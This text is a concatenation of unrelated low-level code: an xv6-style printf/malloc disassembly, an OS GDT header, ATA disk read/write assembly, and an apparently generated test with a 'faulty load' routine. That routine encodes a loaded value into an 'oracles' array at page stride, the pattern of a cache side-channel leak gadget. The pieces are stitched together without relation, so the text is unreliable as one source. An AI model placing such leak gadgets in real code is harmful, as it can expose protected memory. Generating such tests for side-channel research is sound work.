646: 89 e5 mov %esp,%ebp
648: 53 push %ebx
649: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
64c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
653: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
657: 74 17 je 670 <printint+0x2b>
659: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
65d: 79 11 jns 670 <printint+0x2b>
neg = 1;
65f: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
666: 8b 45 0c mov 0xc(%ebp),%eax
669: f7 d8 neg %eax
66b: 89 45 ec mov %eax,-0x14(%ebp)
66e: eb 06 jmp 676 <printint+0x31>
} else {
x = xx;
670: 8b 45 0c mov 0xc(%ebp),%eax
673: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
676: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
67d: 8b 4d f4 mov -0xc(%ebp),%ecx
680: 8d 41 01 lea 0x1(%ecx),%eax
683: 89 45 f4 mov %eax,-0xc(%ebp)
686: 8b 5d 10 mov 0x10(%ebp),%ebx
689: 8b 45 ec mov -0x14(%ebp),%eax
68c: ba 00 00 00 00 mov $0x0,%edx
691: f7 f3 div %ebx
693: 89 d0 mov %edx,%eax
695: 0f b6 80 bc 0d 00 00 movzbl 0xdbc(%eax),%eax
69c: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
6a0: 8b 5d 10 mov 0x10(%ebp),%ebx
6a3: 8b 45 ec mov -0x14(%ebp),%eax
6a6: ba 00 00 00 00 mov $0x0,%edx
6ab: f7 f3 div %ebx
6ad: 89 45 ec mov %eax,-0x14(%ebp)
6b0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
6b4: 75 c7 jne 67d <printint+0x38>
if(neg)
6b6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
6ba: 74 2d je 6e9 <printint+0xa4>
buf[i++] = '-';
6bc: 8b 45 f4 mov -0xc(%ebp),%eax
6bf: 8d 50 01 lea 0x1(%eax),%edx
6c2: 89 55 f4 mov %edx,-0xc(%ebp)
6c5: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
6ca: eb 1d jmp 6e9 <printint+0xa4>
putc(fd, buf[i]);
6cc: 8d 55 dc lea -0x24(%ebp),%edx
6cf: 8b 45 f4 mov -0xc(%ebp),%eax
6d2: 01 d0 add %edx,%eax
6d4: 0f b6 00 movzbl (%eax),%eax
6d7: 0f be c0 movsbl %al,%eax
6da: 83 ec 08 sub $0x8,%esp
6dd: 50 push %eax
6de: ff 75 08 pushl 0x8(%ebp)
6e1: e8 3c ff ff ff call 622 <putc>
6e6: 83 c4 10 add $0x10,%esp
while(--i >= 0)
6e9: 83 6d f4 01 subl $0x1,-0xc(%ebp)
6ed: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6f1: 79 d9 jns 6cc <printint+0x87>
}
6f3: 90 nop
6f4: 8b 5d fc mov -0x4(%ebp),%ebx
6f7: c9 leave
6f8: c3 ret
000006f9 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6f9: 55 push %ebp
6fa: 89 e5 mov %esp,%ebp
6fc: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
6ff: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
706: 8d 45 0c lea 0xc(%ebp),%eax
709: 83 c0 04 add $0x4,%eax
70c: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
70f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
716: e9 59 01 00 00 jmp 874 <printf+0x17b>
c = fmt[i] & 0xff;
71b: 8b 55 0c mov 0xc(%ebp),%edx
71e: 8b 45 f0 mov -0x10(%ebp),%eax
721: 01 d0 add %edx,%eax
723: 0f b6 00 movzbl (%eax),%eax
726: 0f be c0 movsbl %al,%eax
729: 25 ff 00 00 00 and $0xff,%eax
72e: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
731: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
735: 75 2c jne 763 <printf+0x6a>
if(c == '%'){
737: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
73b: 75 0c jne 749 <printf+0x50>
state = '%';
73d: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
744: e9 27 01 00 00 jmp 870 <printf+0x177>
} else {
putc(fd, c);
749: 8b 45 e4 mov -0x1c(%ebp),%eax
74c: 0f be c0 movsbl %al,%eax
74f: 83 ec 08 sub $0x8,%esp
752: 50 push %eax
753: ff 75 08 pushl 0x8(%ebp)
756: e8 c7 fe ff ff call 622 <putc>
75b: 83 c4 10 add $0x10,%esp
75e: e9 0d 01 00 00 jmp 870 <printf+0x177>
}
} else if(state == '%'){
763: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
767: 0f 85 03 01 00 00 jne 870 <printf+0x177>
if(c == 'd'){
76d: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
771: 75 1e jne 791 <printf+0x98>
printint(fd, *ap, 10, 1);
773: 8b 45 e8 mov -0x18(%ebp),%eax
776: 8b 00 mov (%eax),%eax
778: 6a 01 push $0x1
77a: 6a 0a push $0xa
77c: 50 push %eax
77d: ff 75 08 pushl 0x8(%ebp)
780: e8 c0 fe ff ff call 645 <printint>
785: 83 c4 10 add $0x10,%esp
ap++;
788: 83 45 e8 04 addl $0x4,-0x18(%ebp)
78c: e9 d8 00 00 00 jmp 869 <printf+0x170>
} else if(c == 'x' || c == 'p'){
791: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
795: 74 06 je 79d <printf+0xa4>
797: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
79b: 75 1e jne 7bb <printf+0xc2>
printint(fd, *ap, 16, 0);
79d: 8b 45 e8 mov -0x18(%ebp),%eax
7a0: 8b 00 mov (%eax),%eax
7a2: 6a 00 push $0x0
7a4: 6a 10 push $0x10
7a6: 50 push %eax
7a7: ff 75 08 pushl 0x8(%ebp)
7aa: e8 96 fe ff ff call 645 <printint>
7af: 83 c4 10 add $0x10,%esp
ap++;
7b2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
7b6: e9 ae 00 00 00 jmp 869 <printf+0x170>
} else if(c == 's'){
7bb: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
7bf: 75 43 jne 804 <printf+0x10b>
s = (char*)*ap;
7c1: 8b 45 e8 mov -0x18(%ebp),%eax
7c4: 8b 00 mov (%eax),%eax
7c6: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
7c9: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
7cd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7d1: 75 25 jne 7f8 <printf+0xff>
s = "(null)";
7d3: c7 45 f4 e6 0a 00 00 movl $0xae6,-0xc(%ebp)
while(*s != 0){
7da: eb 1c jmp 7f8 <printf+0xff>
putc(fd, *s);
7dc: 8b 45 f4 mov -0xc(%ebp),%eax
7df: 0f b6 00 movzbl (%eax),%eax
7e2: 0f be c0 movsbl %al,%eax
7e5: 83 ec 08 sub $0x8,%esp
7e8: 50 push %eax
7e9: ff 75 08 pushl 0x8(%ebp)
7ec: e8 31 fe ff ff call 622 <putc>
7f1: 83 c4 10 add $0x10,%esp
s++;
7f4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
while(*s != 0){
7f8: 8b 45 f4 mov -0xc(%ebp),%eax
7fb: 0f b6 00 movzbl (%eax),%eax
7fe: 84 c0 test %al,%al
800: 75 da jne 7dc <printf+0xe3>
802: eb 65 jmp 869 <printf+0x170>
}
} else if(c == 'c'){
804: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
808: 75 1d jne 827 <printf+0x12e>
putc(fd, *ap);
80a: 8b 45 e8 mov -0x18(%ebp),%eax
80d: 8b 00 mov (%eax),%eax
80f: 0f be c0 movsbl %al,%eax
812: 83 ec 08 sub $0x8,%esp
815: 50 push %eax
816: ff 75 08 pushl 0x8(%ebp)
819: e8 04 fe ff ff call 622 <putc>
81e: 83 c4 10 add $0x10,%esp
ap++;
821: 83 45 e8 04 addl $0x4,-0x18(%ebp)
825: eb 42 jmp 869 <printf+0x170>
} else if(c == '%'){
827: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
82b: 75 17 jne 844 <printf+0x14b>
putc(fd, c);
82d: 8b 45 e4 mov -0x1c(%ebp),%eax
830: 0f be c0 movsbl %al,%eax
833: 83 ec 08 sub $0x8,%esp
836: 50 push %eax
837: ff 75 08 pushl 0x8(%ebp)
83a: e8 e3 fd ff ff call 622 <putc>
83f: 83 c4 10 add $0x10,%esp
842: eb 25 jmp 869 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
844: 83 ec 08 sub $0x8,%esp
847: 6a 25 push $0x25
849: ff 75 08 pushl 0x8(%ebp)
84c: e8 d1 fd ff ff call 622 <putc>
851: 83 c4 10 add $0x10,%esp
putc(fd, c);
854: 8b 45 e4 mov -0x1c(%ebp),%eax
857: 0f be c0 movsbl %al,%eax
85a: 83 ec 08 sub $0x8,%esp
85d: 50 push %eax
85e: ff 75 08 pushl 0x8(%ebp)
861: e8 bc fd ff ff call 622 <putc>
866: 83 c4 10 add $0x10,%esp
}
state = 0;
869: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
for(i = 0; fmt[i]; i++){
870: 83 45 f0 01 addl $0x1,-0x10(%ebp)
874: 8b 55 0c mov 0xc(%ebp),%edx
877: 8b 45 f0 mov -0x10(%ebp),%eax
87a: 01 d0 add %edx,%eax
87c: 0f b6 00 movzbl (%eax),%eax
87f: 84 c0 test %al,%al
881: 0f 85 94 fe ff ff jne 71b <printf+0x22>
}
}
}
887: 90 nop
888: c9 leave
889: c3 ret
0000088a <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
88a: 55 push %ebp
88b: 89 e5 mov %esp,%ebp
88d: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
890: 8b 45 08 mov 0x8(%ebp),%eax
893: 83 e8 08 sub $0x8,%eax
896: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
899: a1 e8 0d 00 00 mov 0xde8,%eax
89e: 89 45 fc mov %eax,-0x4(%ebp)
8a1: eb 24 jmp 8c7 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8a3: 8b 45 fc mov -0x4(%ebp),%eax
8a6: 8b 00 mov (%eax),%eax
8a8: 3b 45 fc cmp -0x4(%ebp),%eax
8ab: 77 12 ja 8bf <free+0x35>
8ad: 8b 45 f8 mov -0x8(%ebp),%eax
8b0: 3b 45 fc cmp -0x4(%ebp),%eax
8b3: 77 24 ja 8d9 <free+0x4f>
8b5: 8b 45 fc mov -0x4(%ebp),%eax
8b8: 8b 00 mov (%eax),%eax
8ba: 3b 45 f8 cmp -0x8(%ebp),%eax
8bd: 77 1a ja 8d9 <free+0x4f>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8bf: 8b 45 fc mov -0x4(%ebp),%eax
8c2: 8b 00 mov (%eax),%eax
8c4: 89 45 fc mov %eax,-0x4(%ebp)
8c7: 8b 45 f8 mov -0x8(%ebp),%eax
8ca: 3b 45 fc cmp -0x4(%ebp),%eax
8cd: 76 d4 jbe 8a3 <free+0x19>
8cf: 8b 45 fc mov -0x4(%ebp),%eax
8d2: 8b 00 mov (%eax),%eax
8d4: 3b 45 f8 cmp -0x8(%ebp),%eax
8d7: 76 ca jbe 8a3 <free+0x19>
break;
if(bp + bp->s.size == p->s.ptr){
8d9: 8b 45 f8 mov -0x8(%ebp),%eax
8dc: 8b 40 04 mov 0x4(%eax),%eax
8df: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8e6: 8b 45 f8 mov -0x8(%ebp),%eax
8e9: 01 c2 add %eax,%edx
8eb: 8b 45 fc mov -0x4(%ebp),%eax
8ee: 8b 00 mov (%eax),%eax
8f0: 39 c2 cmp %eax,%edx
8f2: 75 24 jne 918 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
8f4: 8b 45 f8 mov -0x8(%ebp),%eax
8f7: 8b 50 04 mov 0x4(%eax),%edx
8fa: 8b 45 fc mov -0x4(%ebp),%eax
8fd: 8b 00 mov (%eax),%eax
8ff: 8b 40 04 mov 0x4(%eax),%eax
902: 01 c2 add %eax,%edx
904: 8b 45 f8 mov -0x8(%ebp),%eax
907: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
90a: 8b 45 fc mov -0x4(%ebp),%eax
90d: 8b 00 mov (%eax),%eax
90f: 8b 10 mov (%eax),%edx
911: 8b 45 f8 mov -0x8(%ebp),%eax
914: 89 10 mov %edx,(%eax)
916: eb 0a jmp 922 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
918: 8b 45 fc mov -0x4(%ebp),%eax
91b: 8b 10 mov (%eax),%edx
91d: 8b 45 f8 mov -0x8(%ebp),%eax
920: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
922: 8b 45 fc mov -0x4(%ebp),%eax
925: 8b 40 04 mov 0x4(%eax),%eax
928: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
92f: 8b 45 fc mov -0x4(%ebp),%eax
932: 01 d0 add %edx,%eax
934: 3b 45 f8 cmp -0x8(%ebp),%eax
937: 75 20 jne 959 <free+0xcf>
p->s.size += bp->s.size;
939: 8b 45 fc mov -0x4(%ebp),%eax
93c: 8b 50 04 mov 0x4(%eax),%edx
93f: 8b 45 f8 mov -0x8(%ebp),%eax
942: 8b 40 04 mov 0x4(%eax),%eax
945: 01 c2 add %eax,%edx
947: 8b 45 fc mov -0x4(%ebp),%eax
94a: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
94d: 8b 45 f8 mov -0x8(%ebp),%eax
950: 8b 10 mov (%eax),%edx
952: 8b 45 fc mov -0x4(%ebp),%eax
955: 89 10 mov %edx,(%eax)
957: eb 08 jmp 961 <free+0xd7>
} else
p->s.ptr = bp;
959: 8b 45 fc mov -0x4(%ebp),%eax
95c: 8b 55 f8 mov -0x8(%ebp),%edx
95f: 89 10 mov %edx,(%eax)
freep = p;
961: 8b 45 fc mov -0x4(%ebp),%eax
964: a3 e8 0d 00 00 mov %eax,0xde8
}
969: 90 nop
96a: c9 leave
96b: c3 ret
0000096c <morecore>:
static Header*
morecore(uint nu)
{
96c: 55 push %ebp
96d: 89 e5 mov %esp,%ebp
96f: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
972: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
979: 77 07 ja 982 <morecore+0x16>
nu = 4096;
97b: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
982: 8b 45 08 mov 0x8(%ebp),%eax
985: c1 e0 03 shl $0x3,%eax
988: 83 ec 0c sub $0xc,%esp
98b: 50 push %eax
98c: e8 79 fc ff ff call 60a <sbrk>
991: 83 c4 10 add $0x10,%esp
994: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
997: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
99b: 75 07 jne 9a4 <morecore+0x38>
return 0;
99d: b8 00 00 00 00 mov $0x0,%eax
9a2: eb 26 jmp 9ca <morecore+0x5e>
hp = (Header*)p;
9a4: 8b 45 f4 mov -0xc(%ebp),%eax
9a7: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
9aa: 8b 45 f0 mov -0x10(%ebp),%eax
9ad: 8b 55 08 mov 0x8(%ebp),%edx
9b0: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
9b3: 8b 45 f0 mov -0x10(%ebp),%eax
9b6: 83 c0 08 add $0x8,%eax
9b9: 83 ec 0c sub $0xc,%esp
9bc: 50 push %eax
9bd: e8 c8 fe ff ff call 88a <free>
9c2: 83 c4 10 add $0x10,%esp
return freep;
9c5: a1 e8 0d 00 00 mov 0xde8,%eax
}
9ca: c9 leave
9cb: c3 ret
000009cc <malloc>:
void*
malloc(uint nbytes)
{
9cc: 55 push %ebp
9cd: 89 e5 mov %esp,%ebp
9cf: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
9d2: 8b 45 08 mov 0x8(%ebp),%eax
9d5: 83 c0 07 add $0x7,%eax
9d8: c1 e8 03 shr $0x3,%eax
9db: 83 c0 01 add $0x1,%eax
9de: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
9e1: a1 e8 0d 00 00 mov 0xde8,%eax
9e6: 89 45 f0 mov %eax,-0x10(%ebp)
9e9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
9ed: 75 23 jne a12 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
9ef: c7 45 f0 e0 0d 00 00 movl $0xde0,-0x10(%ebp)
9f6: 8b 45 f0 mov -0x10(%ebp),%eax
9f9: a3 e8 0d 00 00 mov %eax,0xde8
9fe: a1 e8 0d 00 00 mov 0xde8,%eax
a03: a3 e0 0d 00 00 mov %eax,0xde0
base.s.size = 0;
a08: c7 05 e4 0d 00 00 00 movl $0x0,0xde4
a0f: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a12: 8b 45 f0 mov -0x10(%ebp),%eax
a15: 8b 00 mov (%eax),%eax
a17: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
a1a: 8b 45 f4 mov -0xc(%ebp),%eax
a1d: 8b 40 04 mov 0x4(%eax),%eax
a20: 3b 45 ec cmp -0x14(%ebp),%eax
a23: 72 4d jb a72 <malloc+0xa6>
if(p->s.size == nunits)
a25: 8b 45 f4 mov -0xc(%ebp),%eax
a28: 8b 40 04 mov 0x4(%eax),%eax
a2b: 3b 45 ec cmp -0x14(%ebp),%eax
a2e: 75 0c jne a3c <malloc+0x70>
prevp->s.ptr = p->s.ptr;
a30: 8b 45 f4 mov -0xc(%ebp),%eax
a33: 8b 10 mov (%eax),%edx
a35: 8b 45 f0 mov -0x10(%ebp),%eax
a38: 89 10 mov %edx,(%eax)
a3a: eb 26 jmp a62 <malloc+0x96>
else {
p->s.size -= nunits;
a3c: 8b 45 f4 mov -0xc(%ebp),%eax
a3f: 8b 40 04 mov 0x4(%eax),%eax
a42: 2b 45 ec sub -0x14(%ebp),%eax
a45: 89 c2 mov %eax,%edx
a47: 8b 45 f4 mov -0xc(%ebp),%eax
a4a: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
a4d: 8b 45 f4 mov -0xc(%ebp),%eax
a50: 8b 40 04 mov 0x4(%eax),%eax
a53: c1 e0 03 shl $0x3,%eax
a56: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
a59: 8b 45 f4 mov -0xc(%ebp),%eax
a5c: 8b 55 ec mov -0x14(%ebp),%edx
a5f: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
a62: 8b 45 f0 mov -0x10(%ebp),%eax
a65: a3 e8 0d 00 00 mov %eax,0xde8
return (void*)(p + 1);
a6a: 8b 45 f4 mov -0xc(%ebp),%eax
a6d: 83 c0 08 add $0x8,%eax
a70: eb 3b jmp aad <malloc+0xe1>
}
if(p == freep)
a72: a1 e8 0d 00 00 mov 0xde8,%eax
a77: 39 45 f4 cmp %eax,-0xc(%ebp)
a7a: 75 1e jne a9a <malloc+0xce>
if((p = morecore(nunits)) == 0)
a7c: 83 ec 0c sub $0xc,%esp
a7f: ff 75 ec pushl -0x14(%ebp)
a82: e8 e5 fe ff ff call 96c <morecore>
a87: 83 c4 10 add $0x10,%esp
a8a: 89 45 f4 mov %eax,-0xc(%ebp)
a8d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a91: 75 07 jne a9a <malloc+0xce>
return 0;
a93: b8 00 00 00 00 mov $0x0,%eax
a98: eb 13 jmp aad <malloc+0xe1>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a9a: 8b 45 f4 mov -0xc(%ebp),%eax
a9d: 89 45 f0 mov %eax,-0x10(%ebp)
aa0: 8b 45 f4 mov -0xc(%ebp),%eax
aa3: 8b 00 mov (%eax),%eax
aa5: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
aa8: e9 6d ff ff ff jmp a1a <malloc+0x4e>
}
}
aad: c9 leave
aae: c3 ret
|
/*
* Copyright Null LLC
* Please read the License!
* _ _ _
* | | | | | |
* | |__ | |_ _ _ | | ____ ____
* | __)| | | | |/ || |/ ___) _ | gdt.hpp
* | | | | |_| ( (_| | | ( ( | | Info about the CPU
* |_| |_|\__ |\____|_| \_||_|
* (____/
*/
#pragma once
#include <stdint.h>
struct GDTDescriptor {
uint16_t Size;
uint64_t Offset;
} __attribute__ ((packed));
struct GDTEntry {
uint16_t Limit0;
uint16_t Base0;
uint8_t Base1;
uint8_t AccessByte;
uint8_t Limit1_Flags;
uint8_t Base2;
} __attribute__ ((packed));
struct GDT {
GDTEntry Null;
GDTEntry KernelCode;
GDTEntry KernelData;
GDTEntry UserNull;
GDTEntry UserCode;
GDTEntry UserData;
} __attribute__ ((packed))
__attribute((aligned(0x1000)));
extern GDT DefaultGDT;
extern "C" void LoadGDT(GDTDescriptor* gdtDescriptor); |
=============================================================================
; ATA read sectors (LBA mode)
;
; @param EAX Logical Block Address of sector
; @param CL Number of sectors to read
; @param RDI The address of buffer to put data obtained from disk
;
; @return None
;=============================================================================
ata_lba_read:
pushfq
and rax, 0x0FFFFFFF
push rax
push rbx
push rcx
push rdx
push rdi
mov rbx, rax ; Save LBA in RBX
mov edx, 0x01F6 ; Port to send drive and bit 24 - 27 of LBA
shr eax, 24 ; Get bit 24 - 27 in al
or al, 11100000b ; Set bit 6 in al for LBA mode
out dx, al
mov edx, 0x01F2 ; Port to send number of sectors
mov al, cl ; Get number of sectors from CL
out dx, al
mov edx, 0x1F3 ; Port to send bit 0 - 7 of LBA
mov eax, ebx ; Get LBA from EBX
out dx, al
mov edx, 0x1F4 ; Port to send bit 8 - 15 of LBA
mov eax, ebx ; Get LBA from EBX
shr eax, 8 ; Get bit 8 - 15 in AL
out dx, al
mov edx, 0x1F5 ; Port to send bit 16 - 23 of LBA
mov eax, ebx ; Get LBA from EBX
shr eax, 16 ; Get bit 16 - 23 in AL
out dx, al
mov edx, 0x1F7 ; Command port
mov al, 0x20 ; Read with retry.
out dx, al
.still_going: in al, dx
test al, 8 ; the sector buffer requires servicing.
jz .still_going ; until the sector buffer is ready.
mov rax, 256 ; to read 256 words = 1 sector
xor bx, bx
mov bl, cl ; read CL sectors
mul bx
mov rcx, rax ; RCX is counter for INSW
mov rdx, 0x1F0 ; Data port, in and out
rep insw ; in to [RDI]
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
popfq
ret
;///////////////////////////////////////////////////////////////////////////////////////////////////////////////
;=============================================================================
; ATA write sectors (LBA mode)
;
; @param EAX Logical Block Address of sector
; @param CL Number of sectors to write
; @param RDI The address of data to write to the disk
;
; @return None
;=============================================================================
ata_lba_write:
pushfq
and rax, 0x0FFFFFFF
push rax
push rbx
push rcx
push rdx
push rdi
mov rbx, rax ; Save LBA in RBX
mov edx, 0x01F6 ; Port to send drive and bit 24 - 27 of LBA
shr eax, 24 ; Get bit 24 - 27 in al
or al, 11100000b ; Set bit 6 in al for LBA mode
out dx, al
mov edx, 0x01F2 ; Port to send number of sectors
mov al, cl ; Get number of sectors from CL
out dx, al
mov edx, 0x1F3 ; Port to send bit 0 - 7 of LBA
mov eax, ebx ; Get LBA from EBX
out dx, al
mov edx, 0x1F4 ; Port to send bit 8 - 15 of LBA
mov eax, ebx ; Get LBA from EBX
shr eax, 8 ; Get bit 8 - 15 in AL
out dx, al
mov edx, 0x1F5 ; Port to send bit 16 - 23 of LBA
mov eax, ebx ; Get LBA from EBX
shr eax, 16 ; Get bit 16 - 23 in AL
out dx, al
mov edx, 0x1F7 ; Command port
mov al, 0x30 ; Write with retry.
out dx, al
.still_going: in al, dx
test al, 8 ; the sector buffer requires servicing.
jz .still_going ; until the sector buffer is ready.
mov rax, 256 ; to read 256 words = 1 sector
xor bx, bx
mov bl, cl ; write CL sectors
mul bx
mov rcx, rax ; RCX is counter for OUTSW
mov rdx, 0x1F0 ; Data port, in and out
mov rsi, rdi
rep outsw ; out
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
popfq
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x172fd, %rsi
lea addresses_UC_ht+0xfa5d, %rdi
clflush (%rsi)
nop
nop
and %rax, %rax
mov $32, %rcx
rep movsb
nop
add %rsi, %rsi
lea addresses_WC_ht+0x16abf, %rsi
lea addresses_WT_ht+0xe05, %rdi
nop
nop
nop
nop
nop
add $40383, %rbp
mov $2, %rcx
rep movsl
nop
nop
dec %rdi
lea addresses_WC_ht+0x871d, %rsi
lea addresses_normal_ht+0x5b5d, %rdi
nop
nop
nop
cmp $55652, %r8
mov $108, %rcx
rep movsq
sub %rsi, %rsi
lea addresses_A_ht+0x1616b, %rax
nop
nop
nop
nop
nop
xor $13503, %rcx
mov (%rax), %bp
nop
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0xc25d, %rsi
nop
add $63688, %r12
movl $0x61626364, (%rsi)
nop
and %rbp, %rbp
lea addresses_WC_ht+0x15a5d, %rsi
lea addresses_D_ht+0x1b85d, %rdi
nop
nop
nop
nop
add $46512, %r12
mov $14, %rcx
rep movsl
and $25491, %r8
lea addresses_normal_ht+0x76dd, %r12
nop
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%r12)
nop
nop
nop
nop
nop
xor $26407, %r8
lea addresses_D_ht+0x17a5d, %rdi
nop
and $52968, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
nop
nop
dec %r8
lea addresses_UC_ht+0xa25d, %rsi
lea addresses_normal_ht+0xea5d, %rdi
clflush (%rdi)
nop
nop
nop
dec %r15
mov $75, %rcx
rep movsq
nop
nop
nop
nop
and $40218, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rcx
// Store
lea addresses_PSE+0x2e9f, %r15
nop
nop
nop
cmp $52474, %rcx
movl $0x51525354, (%r15)
nop
nop
sub $34273, %r12
// Faulty Load
lea addresses_WT+0x16a5d, %rcx
nop
nop
nop
nop
nop
inc %r13
mov (%rcx), %r12
lea oracles, %r8
and $0xff, %r12
shlq $12, %r12
mov (%r8,%r12,1), %r12
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': True, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'00': 21829}
